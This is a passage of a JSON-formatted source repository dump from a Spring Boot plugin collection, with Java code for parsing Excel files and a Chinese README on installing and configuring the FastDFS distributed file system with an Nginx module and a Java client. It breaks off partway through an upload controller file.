    "content": "package com.example.util.excel;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.poi.openxml4j.opc.OPCPackage;\nimport org.apache.poi.openxml4j.opc.PackageAccess;\nimport org.apache.poi.xssf.eventusermodel.XSSFReader;\nimport org.apache.poi.xssf.eventusermodel.XSSFSheetXMLHandler;\nimport org.apache.poi.xssf.model.SharedStringsTable;\nimport org.apache.poi.xssf.model.StylesTable;\nimport org.springframework.web.multipart.MultipartFile;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.XMLReader;\nimport org.xml.sax.helpers.XMLReaderFactory;\n\nimport java.io.File;\nimport java.io.InputStream;\n\n/**\n * <p>\n * 自定义Excel解析器\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\npublic class ExcelParserUtil {\n\n    /**\n     * 解析(读取)\n     *\n     * @param in      文件流\n     * @param handler 类型处理器,需要自定义\n     */\n    public static void parse(InputStream in, XSSFSheetXMLHandler.SheetContentsHandler handler) {\n        //1.根据Excel获取OPCPackage对象\n        try {\n            OPCPackage pkg = OPCPackage.open(in);\n            parse(pkg, handler);\n        } catch (Exception e) {\n            throw new RuntimeException(\"自定义Excel解析器出错啦,错误信息\" + e.getMessage());\n        }\n    }\n\n    /**\n     * 解析(读取)\n     *\n     * @param file    文件\n     * @param handler 类型处理器,需要自定义\n     */\n    public static void parse(File file, XSSFSheetXMLHandler.SheetContentsHandler handler) {\n        //1.根据Excel获取OPCPackage对象\n        try {\n            OPCPackage pkg = OPCPackage.open(file, PackageAccess.READ);\n            parse(pkg, handler);\n        } catch (Exception e) {\n            throw new RuntimeException(\"自定义Excel解析器出错啦,错误信息\" + e.getMessage());\n        }\n    }\n\n    /**\n     * 解析(读取)\n     *\n     * @param file    文件信息\n     * @param handler 类型处理器,需要自定义\n     */\n    public static void parse(MultipartFile file, XSSFSheetXMLHandler.SheetContentsHandler handler) {\n        //1.根据Excel获取OPCPackage对象\n        try {\n            parse(file.getInputStream(), handler);\n        } catch (Exception e) {\n            throw new RuntimeException(\"自定义Excel解析器出错啦,错误信息\" + e.getMessage());\n        }\n    }\n\n\n    /**\n     * 解析(读取)\n     *\n     * @param path    文件路径\n     * @param handler 类型处理器,需要自定义\n     */\n    public static void parse(String path, XSSFSheetXMLHandler.SheetContentsHandler handler) {\n        //1.根据Excel获取OPCPackage对象\n        try {\n            OPCPackage pkg = OPCPackage.open(path, PackageAccess.READ);\n            parse(pkg, handler);\n        } catch (Exception e) {\n            throw new RuntimeException(\"自定义Excel解析器出错啦,错误信息\" + e.getMessage());\n        }\n    }\n\n\n    /**\n     * 解析(读取)\n     *\n     * @param pkg\n     * @param handler 类型处理器,需要自定义\n     */\n    public static void parse(OPCPackage pkg, XSSFSheetXMLHandler.SheetContentsHandler handler) {\n        try {\n            //2.创建XSSFReader对象\n            XSSFReader reader = new XSSFReader(pkg);\n            //3.获取SharedStringsTable对象\n            SharedStringsTable sst = reader.getSharedStringsTable();\n            //4.获取StylesTable对象\n            StylesTable styles = reader.getStylesTable();\n            XMLReader parser = XMLReaderFactory.createXMLReader();\n            // 处理公共属性：Sheet名，Sheet合并单元格\n            parser.setContentHandler(new XSSFSheetXMLHandler(styles, sst, handler, false));\n            XSSFReader.SheetIterator sheets = (XSSFReader.SheetIterator) reader.getSheetsData();\n            while (sheets.hasNext()) {\n                InputStream sheetstream = sheets.next();\n                InputSource sheetSource = new InputSource(sheetstream);\n                try {\n                    parser.parse(sheetSource);\n                } finally {\n                    sheetstream.close();\n                }\n            }\n        } catch (Exception e) {\n            log.error(\"自定义Excel解析器出错啦,错误信息{}\", e.getMessage(), e);\n            throw new RuntimeException(\"自定义Excel解析器出错啦,错误信息\" + e.getMessage());\n        } finally {\n            try {\n                pkg.close();\n            } catch (Exception e) {\n                e.printStackTrace();\n                log.error(\"关闭pkg出错啦\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/util/excel/handler/DemoDataHandler.java",
    "content": "package com.example.util.excel.handler;\n\nimport com.example.dto.DemoData;\nimport org.apache.poi.xssf.eventusermodel.XSSFSheetXMLHandler;\nimport org.apache.poi.xssf.usermodel.XSSFComment;\n\nimport java.text.SimpleDateFormat;\n\n/**\n * <p>\n * 自定义处理器\n * </p>\n *\n * @author MrWen\n **/\npublic class DemoDataHandler implements XSSFSheetXMLHandler.SheetContentsHandler {\n\n    /**\n     * 时间格式化\n     */\n    SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\n    private DemoData demoData = null;\n\n    /**\n     * //每一行的开始\n     *\n     * @param rowIndex 代表的是每一个sheet的行索引\n     */\n    @Override\n    public void startRow(int rowIndex) {\n        //根据实际需求，这里演示跳过第一第二行\n        if (rowIndex == 0 || rowIndex == 1) {\n            demoData = null;\n        } else {\n            demoData = new DemoData();\n        }\n    }\n\n    /**\n     * 每一行的结束\n     *\n     * @param rowIndex 代表的是每一个sheet的行索引\n     */\n    @Override\n    public void endRow(int rowIndex) {\n        //根据实际需求，这里演示跳过第一第二行\n        if (rowIndex != 0 && rowIndex != 1) {\n            System.out.println(demoData);\n        }\n    }\n\n    /**\n     * 处理每一行的所有单元格\n     *\n     * @param cellName  每个单元名称的首字母 A  B  C\n     * @param cellValue 每个单元的值\n     * @param comment   单元格的注释\n     */\n    @Override\n    public void cell(String cellName, String cellValue, XSSFComment comment) {\n        if (demoData != null) {\n            String letter = cellName.substring(0, 1);\n            switch (letter) {\n                case \"A\":\n                    demoData.setString(cellValue);\n                    break;\n                case \"B\":\n                    try {\n                        demoData.setDate(simpleDateFormat.parse(cellValue));\n                    } catch (Exception e) {\n                        e.printStackTrace();\n                    }\n                    break;\n                case \"C\":\n                    try {\n                        demoData.setDateFrom(simpleDateFormat.parse(cellValue));\n                    } catch (Exception e) {\n                        e.printStackTrace();\n                    }\n                    break;\n                case \"D\":\n                    demoData.setDoubleData(Double.valueOf(cellValue));\n                    break;\n                default:\n                    break;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/resources/application.yaml",
    "content": "server:\n  port: 7777\n\n\nspring:\n  servlet:\n    # 文件上传限制\n    multipart:\n      max-file-size: 100MB\n      max-request-size: 100MB\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/README.md",
    "content": "# springboot_fastdfs  \n\n\n## 概述\n分布式文件系统：Distributed file system, DFS，又叫做网络文件系统：Network File System。一种允许文件通过网络在多台主机上分享的文件系统，可让多机器上的多用户分享文件和存储空间。\n\nFastDFS是用c语言编写的一款开源的分布式文件系统，充分考虑了冗余备份、负载均衡、线性扩容等机制，并注重高可用、高性能等指标，功能包括：文件存储、文件同步、文件访问（文件上传、文件下载）等，解决了大容量存储和负载均衡的问题。特别适合中小文件（建议范围：4KB < file_size <500MB），对以文件为载体的在线服务，如相册网站、视频网站等。\n\n## FastDFS 架构\n\nFastDFS架构包括Tracker server和Storage server。客户端请求Tracker server进行文件上传、下载，通过Tracker server调度最终由Storage server完成文件上传和下载。\n\n![1.jpg](https://blog.52itstyle.com/usr/uploads/2018/02/1424504379.jpg)\n\n#### 跟踪服务器Tracker Server\n主要做调度工作，起到均衡的作用；负责管理所有的 storage server和 group，每个 storage 在启动后会连接 Tracker，告知自己所属 group 等信息，并保持周期性心跳。tracker根据storage的心跳信息，建立group==>[storage serverlist]的映射表。\n\nTracker需要管理的元信息很少，会全部存储在内存中；另外tracker上的元信息都是由storage汇报的信息生成的，本身不需要持久化任何数据，这样使得tracker非常容易扩展，直接增加tracker机器即可扩展为tracker cluster来服务，cluster里每个tracker之间是完全对等的，所有的tracker都接受stroage的心跳信息，生成元数据信息来提供读写服务。\n\n#### 存储服务器Storage Server\n\n主要提供容量和备份服务；以 group 为单位，每个 group 内可以有多台 storage server，数据互为备份。以group为单位组织存储能方便的进行应用隔离、负载均衡、副本数定制（group内storage server数量即为该group的副本数），比如将不同应用数据存到不同的group就能隔离应用数据，同时还可根据应用的访问特性来将应用分配到不同的group来做负载均衡；缺点是group的容量受单机存储容量的限制，同时当group内有机器坏掉时，数据恢复只能依赖group内地其他机器，使得恢复时间会很长。\n\ngroup内每个storage的存储依赖于本地文件系统，storage可配置多个数据存储目录，比如有10块磁盘，分别挂载在/data/disk1-/data/disk10，则可将这10个目录都配置为storage的数据存储目录。storage接受到写文件请求时，会根据配置好的规则选择其中一个存储目录来存储文件。为了避免单个目录下的文件数太多，在storage第一次启动时，会在每个数据存储目录里创建2级子目录，每级256个，总共65536个文件，新写的文件会以hash的方式被路由到其中某个子目录下，然后将文件数据作为本地文件存储到该目录中。\n\n#### FastDFS的存储策略\n为了支持大容量，存储节点（服务器）采用了分卷（或分组）的组织方式。存储系统由一个或多个卷组成，卷与卷之间的文件是相互独立的，所有卷的文件容量累加就是整个存储系统中的文件容量。一个卷可以由一台或多台存储服务器组成，一个卷下的存储服务器中的文件都是相同的，卷中的多台存储服务器起到了冗余备份和负载均衡的作用。\n\n在卷中增加服务器时，同步已有的文件由系统自动完成，同步完成后，系统自动将新增服务器切换到线上提供服务。当存储空间不足或即将耗尽时，可以动态添加卷。只需要增加一台或多台服务器，并将它们配置为一个新的卷，这样就扩大了存储系统的容量。\n\n#### FastDFS的上传过程\nFastDFS向使用者提供基本文件访问接口，比如upload、download、append、delete等，以客户端库的方式提供给用户使用。\n\nStorage Server会定期的向Tracker Server发送自己的存储信息。当Tracker Server Cluster中的Tracker Server不止一个时，各个Tracker之间的关系是对等的，所以客户端上传时可以选择任意一个Tracker。\n\n当Tracker收到客户端上传文件的请求时，会为该文件分配一个可以存储文件的group，当选定了group后就要决定给客户端分配group中的哪一个storage server。当分配好storage server后，客户端向storage发送写文件请求，storage将会为文件分配一个数据存储目录。然后为文件分配一个fileid，最后根据以上的信息生成文件名存储文件。\n\n![2.jpg](https://blog.52itstyle.com/usr/uploads/2018/02/2090946570.jpg)\n\n##### 选择tracker server\n\n当集群中不止一个tracker server时，由于tracker之间是完全对等的关系，客户端在upload文件时可以任意选择一个trakcer。\n#####  选择存储的group\n\n当tracker接收到upload file的请求时，会为该文件分配一个可以存储该文件的group，支持如下选择group的规则： 1. Round robin，所有的group间轮询 2. Specified group，指定某一个确定的group 3. Load balance，剩余存储空间多多group优先\n#####  选择storage server\n\n当选定group后，tracker会在group内选择一个storage server给客户端，支持如下选择storage的规则： 1. Round robin，在group内的所有storage间轮询 2. First server ordered by ip，按ip排序 3. First server ordered by priority，按优先级排序（优先级在storage上配置）\n##### 选择storage path\n\n当分配好storage server后，客户端将向storage发送写文件请求，storage将会为文件分配一个数据存储目录，支持如下规则： 1. Round robin，多个存储目录间轮询 2. 剩余存储空间最多的优先\n#####  生成Fileid\n\n选定存储目录之后，storage会为文件生一个Fileid，由storage server ip、文件创建时间、文件大小、文件crc32和一个随机数拼接而成，然后将这个二进制串进行base64编码，转换为可打印的字符串。\n##### 选择两级目录\n\n当选定存储目录之后，storage会为文件分配一个fileid，每个存储目录下有两级256*256的子目录，storage会按文件fileid进行两次hash（猜测），路由到其中一个子目录，然后将文件以fileid为文件名存储到该子目录下。\n##### 生成文件名\n\n当文件存储到某个子目录后，即认为该文件存储成功，接下来会为该文件生成一个文件名，文件名由group、存储目录、两级子目录、fileid、文件后缀名（由客户端指定，主要用于区分文件类型）拼接而成。\n\n![3.jpg](https://blog.52itstyle.com/usr/uploads/2018/02/266801294.jpg)\n\n#### FastDFS的文件同步\n写文件时，客户端将文件写至group内一个storage server即认为写文件成功，storage server写完文件后，会由后台线程将文件同步至同group内其他的storage server。\n\n每个storage写文件后，同时会写一份binlog，binlog里不包含文件数据，只包含文件名等元信息，这份binlog用于后台同步，storage会记录向group内其他storage同步的进度，以便重启后能接上次的进度继续同步；进度以时间戳的方式进行记录，所以最好能保证集群内所有server的时钟保持同步。\n\nstorage的同步进度会作为元数据的一部分汇报到tracker上，tracke在选择读storage的时候会以同步进度作为参考。\n\n比如一个group内有A、B、C三个storage server，A向C同步到进度为T1 (T1以前写的文件都已经同步到B上了），B向C同步到时间戳为T2（T2 > T1)，tracker接收到这些同步进度信息时，就会进行整理，将最小的那个做为C的同步时间戳，本例中T1即为C的同步时间戳为T1（即所有T1以前写的数据都已经同步到C上了）；同理，根据上述规则，tracker会为A、B生成一个同步时间戳。\n\n#### FastDFS的文件下载\n客户端uploadfile成功后，会拿到一个storage生成的文件名，接下来客户端根据这个文件名即可访问到该文件。\n\n![4.jpg](https://blog.52itstyle.com/usr/uploads/2018/02/1665688425.jpg)\n\n跟upload file一样，在downloadfile时客户端可以选择任意tracker server。tracker发送download请求给某个tracker，必须带上文件名信息，tracke从文件名中解析出文件的group、大小、创建时间等信息，然后为该请求选择一个storage用来服务读请求。\n\n####  FastDFS性能方案\n![5.jpg](https://blog.52itstyle.com/usr/uploads/2018/02/658506662.jpg)\n\n## FastDFS 安装\n| 软件包  |  版本 |\n| ------------ | ------------ |\n| FastDFS  | v5.05  |\n|  libfastcommon |  v1.0.7 |\n\n#### 下载安装libfastcommon\n\n- 下载\n\n```\nwget https://github.com/happyfish100/libfastcommon/archive/V1.0.7.tar.gz\n```\n- 解压\n\n```\ntar -xvf V1.0.7.tar.gz\ncd libfastcommon-1.0.7\n```\n- 编译、安装\n\n```\n./make.sh\n./make.sh install\n```\n- 创建软链接\n\n```\nln -s /usr/lib64/libfastcommon.so /usr/local/lib/libfastcommon.so\nln -s /usr/lib64/libfastcommon.so /usr/lib/libfastcommon.so\nln -s /usr/lib64/libfdfsclient.so /usr/local/lib/libfdfsclient.so\nln -s /usr/lib64/libfdfsclient.so /usr/lib/libfdfsclient.so \n```\n#### 下载安装FastDFS\n\n- 下载FastDFS\n\n```\n wget https://github.com/happyfish100/fastdfs/archive/V5.05.tar.gz\n```\n- 解压\n\n```\ntar -xvf V5.05.tar.gz\ncd fastdfs-5.05\n```\n\n- 编译、安装\n\n```\n./make.sh\n./make.sh install\n```\n#### 配置 Tracker 服务\n\n上述安装成功后，在/etc/目录下会有一个fdfs的目录，进入它。会看到三个.sample后缀的文件，这是作者给我们的示例文件，我们需要把其中的tracker.conf.sample文件改为tracker.conf配置文件并修改它：\n```\ncp tracker.conf.sample tracker.conf\nvi tracker.conf\n```\n编辑tracker.conf\n```\n# 配置文件是否不生效，false 为生效\ndisabled=false\n\n# 提供服务的端口\nport=22122\n\n# Tracker 数据和日志目录地址\nbase_path=//home/data/fastdfs\n\n# HTTP 服务端口\nhttp.server_port=80\n```\n创建tracker基础数据目录，即base_path对应的目录\n```\nmkdir -p /home/data/fastdfs\n```\n使用ln -s 建立软链接\n```\nln -s /usr/bin/fdfs_trackerd /usr/local/bin\nln -s /usr/bin/stop.sh /usr/local/bin\nln -s /usr/bin/restart.sh /usr/local/bin\n```\n启动服务\n```\nservice fdfs_trackerd start\n```\n查看监听\n```\nnetstat -unltp|grep fdfs\n```\n如果看到22122端口正常被监听后，这时候说明Tracker服务启动成功啦！\n\ntracker server 目录及文件结构\nTracker服务启动成功后，会在base_path下创建data、logs两个目录。目录结构如下：\n```\n${base_path}\n  |__data\n  |   |__storage_groups.dat：存储分组信息\n  |   |__storage_servers.dat：存储服务器列表\n  |__logs\n  |   |__trackerd.log： tracker server 日志文件 \n```\n\n#### 配置 Storage 服务\n进入 /etc/fdfs 目录，复制 FastDFS 存储器样例配置文件 storage.conf.sample，并重命名为 storage.conf\n\n```\n# cd /etc/fdfs\n# cp storage.conf.sample storage.conf\n# vi storage.conf\n```\n编辑storage.conf\n```\n# 配置文件是否不生效，false 为生效\ndisabled=false\n\n# 指定此 storage server 所在 组(卷)\ngroup_name=group1\n\n# storage server 服务端口\nport=23000\n\n# 心跳间隔时间，单位为秒 (这里是指主动向 tracker server 发送心跳)\nheart_beat_interval=30\n\n# Storage 数据和日志目录地址(根目录必须存在，子目录会自动生成)\nbase_path=/home/data/fastdfs/storage\n\n# 存放文件时 storage server 支持多个路径。这里配置存放文件的基路径数目，通常只配一个目录。\nstore_path_count=1\n\n# 逐一配置 store_path_count 个路径，索引号基于 0。\n# 如果不配置 store_path0，那它就和 base_path 对应的路径一样。\nstore_path0=/home/data/fastdfs/storage\n\n# FastDFS 存储文件时，采用了两级目录。这里配置存放文件的目录个数。 \n# 如果本参数只为 N（如： 256），那么 storage server 在初次运行时，会在 store_path 下自动创建 N * N 个存放文件的子目录。\nsubdir_count_per_path=256\n\n# tracker_server 的列表 ，会主动连接 tracker_server\n# 有多个 tracker server 时，每个 tracker server 写一行\ntracker_server=192.168.1.190:22122\n\n# 允许系统同步的时间段 (默认是全天) 。一般用于避免高峰同步产生一些问题而设定。\nsync_start_time=00:00\nsync_end_time=23:59\n\n```\n使用ln -s 建立软链接\n```\nln -s /usr/bin/fdfs_storaged /usr/local/bin\n```\n启动服务\n```\nservice fdfs_storaged start\n```\n查看监听\n```\nnetstat -unltp|grep fdfs\n```\n启动Storage前确保Tracker是启动的。初次启动成功，会在 /home/data/fastdfs/storage 目录下创建 data、 logs 两个目录。如果看到23000端口正常被监听后，这时候说明Storage服务启动成功啦！\n\n查看Storage和Tracker是否在通信\n```\n/usr/bin/fdfs_monitor /etc/fdfs/storage.conf\n```\n\n## FastDFS 配置 Nginx 模块\n\n| 软件包  |  版本 |\n| ------------ | ------------ |\n| openresty  | v1.13.6.1  |\n|  fastdfs-nginx-module |  v1.1.6 |\n\nFastDFS 通过 Tracker 服务器，将文件放在 Storage 服务器存储， 但是同组存储服务器之间需要进行文件复制，有同步延迟的问题。\n\n假设 Tracker 服务器将文件上传到了 192.168.1.190，上传成功后文件 ID已经返回给客户端。此时 FastDFS 存储集群机制会将这个文件同步到同组存192.168.1.190，在文件还没有复制完成的情况下，客户端如果用这个文件 ID 在 192.168.1.190 上取文件,就会出现文件无法访问的错误。而 fastdfs-nginx-module 可以重定向文件链接到源服务器取文件，避免客户端由于复制延迟导致的文件无法访问错误。\n\n下载 安装 Nginx 和 fastdfs-nginx-module：\n\n推荐您使用yum安装以下的开发库:\n```\nyum install readline-devel pcre-devel openssl-devel -y\n```\n下载最新版本并解压：\n```\nwget https://openresty.org/download/openresty-1.13.6.1.tar.gz\n\ntar -xvf openresty-1.13.6.1.tar.gz\n\nwget https://github.com/happyfish100/fastdfs-nginx-module/archive/master.zip\n\nunzip master.zip\n```\n\n配置 nginx 安装，加入fastdfs-nginx-module模块：\n```\n./configure --add-module=../fastdfs-nginx-module-master/src/\n```\n编译、安装：\n```\nmake && make install\n```\n查看Nginx的模块：\n```\n/usr/local/openresty/nginx/sbin/nginx -v\n```\n有下面这个就说明添加模块成功\n![1.png](https://blog.52itstyle.com/usr/uploads/2018/02/3229446385.png)\n\n复制 fastdfs-nginx-module 源码中的配置文件到/etc/fdfs 目录， 并修改：\n```\ncp /fastdfs-nginx-module/src/mod_fastdfs.conf /etc/fdfs/\n\n```\n```\n# 连接超时时间\nconnect_timeout=10\n\n# Tracker Server\ntracker_server=192.168.1.190:22122\n\n# StorageServer 默认端口\nstorage_server_port=23000\n\n# 如果文件ID的uri中包含/group**，则要设置为true\nurl_have_group_name = true\n\n# Storage 配置的store_path0路径，必须和storage.conf中的一致\nstore_path0=/home/data/fastdfs/storage\n```\n复制 FastDFS 的部分配置文件到/etc/fdfs 目录：\n```\ncp /fastdfs-nginx-module/src/http.conf /etc/fdfs/\ncp /fastdfs-nginx-module/src/mime.types /etc/fdfs/\n```\n配置nginx，修改nginx.conf：\n```\nlocation ~/group([0-9])/M00 {\n    ngx_fastdfs_module;\n}\n```\n启动Nginx：\n```\n[root@iz2ze7tgu9zb2gr6av1tysz sbin]# ./nginx\nngx_http_fastdfs_set pid=9236\n```\n测试上传：\n```\n[root@iz2ze7tgu9zb2gr6av1tysz fdfs]# /usr/bin/fdfs_upload_file /etc/fdfs/client.conf /etc/fdfs/4.jpg\ngroup1/M00/00/00/rBD8EFqVACuAI9mcAAC_ornlYSU088.jpg\n```\n\n部署结构图：\n\n![5.png](https://blog.52itstyle.com/usr/uploads/2018/02/177205871.png)\n\n## JAVA 客户端集成\npom.xml引入：\n```xml\n<!-- fastdfs -->\n<dependency>\n\t<groupId>org.csource</groupId>\n\t<artifactId>fastdfs-client-java</artifactId>\n\t<version>1.27</version>\n</dependency>\n```\nfdfs_client.conf配置：\n```\n#连接tracker服务器超时时长\nconnect_timeout = 2  \n#socket连接超时时长\nnetwork_timeout = 30\n#文件内容编码 \ncharset = UTF-8 \n#tracker服务器端口\nhttp.tracker_http_port = 8080\nhttp.anti_steal_token = no\nhttp.secret_key = FastDFS1234567890\n#tracker服务器IP和端口（可以写多个）\ntracker_server = 192.168.1.190:22122 \n```\nFastDFSClient上传类：\n```java\npublic class FastDFSClient{\n\tprivate static final String CONFIG_FILENAME = \"D:\\\\itstyle\\\\src\\\\main\\\\resources\\\\fdfs_client.conf\";\n\tprivate static final String GROUP_NAME = \"market1\";\n\tprivate TrackerClient trackerClient = null;\n    private TrackerServer trackerServer = null;\n    private StorageServer storageServer = null;\n    private StorageClient storageClient = null;\n\n    static{\n    \ttry {\n\t\t\tClientGlobal.init(CONFIG_FILENAME);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (MyException e) {\n\t\t\te.printStackTrace();\n\t\t}\n    }\n    public FastDFSClient() throws Exception {\n\t   trackerClient = new TrackerClient(ClientGlobal.g_tracker_group);\n\t   trackerServer = trackerClient.getConnection();\n\t   storageServer = trackerClient.getStoreStorage(trackerServer);;\n\t   storageClient = new StorageClient(trackerServer, storageServer);\n    }\n\n    /**\n     * 上传文件\n     * @param file 文件对象\n     * @param fileName 文件名\n     * @return\n     */\n    public  String[] uploadFile(File file, String fileName) {\n        return uploadFile(file,fileName,null);\n    }\n\n    /**\n     * 上传文件\n     * @param file 文件对象\n     * @param fileName 文件名\n     * @param metaList 文件元数据\n     * @return\n     */\n    public  String[] uploadFile(File file, String fileName, Map<String,String> metaList) {\n        try {\n            byte[] buff = IOUtils.toByteArray(new FileInputStream(file));\n            NameValuePair[] nameValuePairs = null;\n            if (metaList != null) {\n                nameValuePairs = new NameValuePair[metaList.size()];\n                int index = 0;\n                for (Iterator<Map.Entry<String,String>> iterator = metaList.entrySet().iterator(); iterator.hasNext();) {\n                    Map.Entry<String,String> entry = iterator.next();\n                    String name = entry.getKey();\n                    String value = entry.getValue();\n                    nameValuePairs[index++] = new NameValuePair(name,value);\n                }\n            }\n            return storageClient.upload_file(GROUP_NAME,buff,fileName,nameValuePairs);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    /**\n     * 获取文件元数据\n     * @param fileId 文件ID\n     * @return\n     */\n    public Map<String,String> getFileMetadata(String groupname,String fileId) {\n        try {\n            NameValuePair[] metaList = storageClient.get_metadata(groupname,fileId);\n            if (metaList != null) {\n                HashMap<String,String> map = new HashMap<String, String>();\n                for (NameValuePair metaItem : metaList) {\n                    map.put(metaItem.getName(),metaItem.getValue());\n                }\n                return map;\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    /**\n     * 删除文件\n     * @param fileId 文件ID\n     * @return 删除失败返回-1，否则返回0\n     */\n    public int deleteFile(String groupname,String fileId) {\n        try {\n            return storageClient.delete_file(groupname,fileId);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return -1;\n    }\n\n    /**\n     * 下载文件\n     * @param fileId 文件ID（上传文件成功后返回的ID）\n     * @param outFile 文件下载保存位置\n     * @return\n     */\n    public  int downloadFile(String groupName,String fileId, File outFile) {\n        FileOutputStream fos = null;\n        try {\n            byte[] content = storageClient.download_file(groupName,fileId);\n            fos = new FileOutputStream(outFile);\n            InputStream ips = new ByteArrayInputStream(content); \n            IOUtils.copy(ips,fos);\n            return 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            if (fos != null) {\n                try {\n                    fos.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n        return -1;\n    }\n    public static void main(String[] args) throws Exception {\n    \tFastDFSClient client = new FastDFSClient();\n    \tFile file = new File(\"D:\\\\23456.png\");\n        String[] result = client.uploadFile(file, \"png\");\n        System.out.println(result.length);\n        System.out.println(result[0]);\n        System.out.println(result[1]);\n    }\n}\n```\n执行main方法测试返回：\n```\n2\ngroup1\nM00/00/00/rBD8EFqTrNyAWyAkAAKCRJfpzAQ227.png\n```\n\n地址：https://blog.52itstyle.com/archives/2430/"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_fastdfs</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n   <!-- spring-boot-starter-parent包含了大量配置好的依赖管理，在自己项目添加这些依赖的时候不需要写<version>版本号 -->\n  <parent>\n\t    <groupId>org.springframework.boot</groupId>\n\t    <artifactId>spring-boot-starter-parent</artifactId>\n\t    <version>1.5.1.RELEASE</version>\n\t    <relativePath/>\n  </parent>\n  \n  <dependencies>\n\t\t<dependency>\n\t      <groupId>org.springframework.boot</groupId>\n\t      <artifactId>spring-boot-starter-web</artifactId>\n\t    </dependency>\n\t    <dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.csource/fastdfs-client-java -->\n\t\t<dependency>\n\t\t    <groupId>com.github.penggle</groupId>\n\t\t    <artifactId>fastdfs-client-java</artifactId>\n\t\t    <version>1.27</version>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t    <groupId>commons-io</groupId>\n\t\t    <artifactId>commons-io</artifactId>\n\t\t    <version>2.4</version>\n\t\t</dependency>\n\t\t\n  </dependencies>\n   \n\n  <build>\n        <finalName>spring-boot-fastdfs</finalName>\n        <plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/java/com/jun/plugin/fastdfs2/FastDFSApplication.java",
    "content": "package com.jun.plugin.fastdfs2;\n\nimport org.apache.coyote.http11.AbstractHttp11Protocol;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n//import org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer;\n//import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;\nimport org.springframework.context.annotation.Bean;\n\n@SpringBootApplication\npublic class FastDFSApplication {\n\n    public static void main(String[] args) throws Exception {\n        SpringApplication.run(FastDFSApplication.class, args);\n    }\n\n    //Tomcat large file upload connection reset\n//    @Bean\n//    public TomcatServletWebServerFactory tomcatEmbedded() {\n//        TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory();\n//        tomcat.addConnectorCustomizers((TomcatConnectorCustomizer) connector -> {\n//            if ((connector.getProtocolHandler() instanceof AbstractHttp11Protocol<?>)) {\n//                //-1 means unlimited\n//                ((AbstractHttp11Protocol<?>) connector.getProtocolHandler()).setMaxSwallowSize(-1);\n//            }\n//        });\n//        return tomcat;\n//    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/java/com/jun/plugin/fastdfs2/controller/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.fastdfs2.controller;\n\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.multipart.MultipartException;\nimport org.springframework.web.servlet.mvc.support.RedirectAttributes;\n\n@ControllerAdvice\npublic class GlobalExceptionHandler {\n\n    //https://jira.spring.io/browse/SPR-14651\n    //4.3.5 supports RedirectAttributes redirectAttributes\n    @ExceptionHandler(MultipartException.class)\n    public String handleError1(MultipartException e, RedirectAttributes redirectAttributes) {\n\n        redirectAttributes.addFlashAttribute(\"message\", e.getCause().getMessage());\n        return \"redirect:/uploadStatus\";\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_fastdfs/src/main/java/com/jun/plugin/fastdfs2/controller/UploadController.java",
    "content": "package com.jun.plugin.fastdfs2.controller;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.multipart.MultipartFile;\nimport org.springframework.web.servlet.mvc.support.RedirectAttributes;\n\nimport com.jun.plugin.fastdfs2.fastdfs.FastDFSClient;\nimport com.jun.plugin.fastdfs2.fastdfs.FastDFSFile;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\n@Controller\npublic class UploadController {\n    private static Logger logger = LoggerFactory.getLogger(UploadController.class);\n\n    @GetMapping(\"/\")\n    public String index() {\n        return \"upload\";\n    }\n\n    @PostMapping(\"/upload\") //new annotation since 4.3\n    public String singleFileUpload(@RequestParam(\"file\") MultipartFile file,\n                                   RedirectAttributes redirectAttributes) {\n        if (file.isEmpty()) {\n            redirectAttributes.addFlashAttribute(\"message\", \"Please select a file to upload\");\n            return 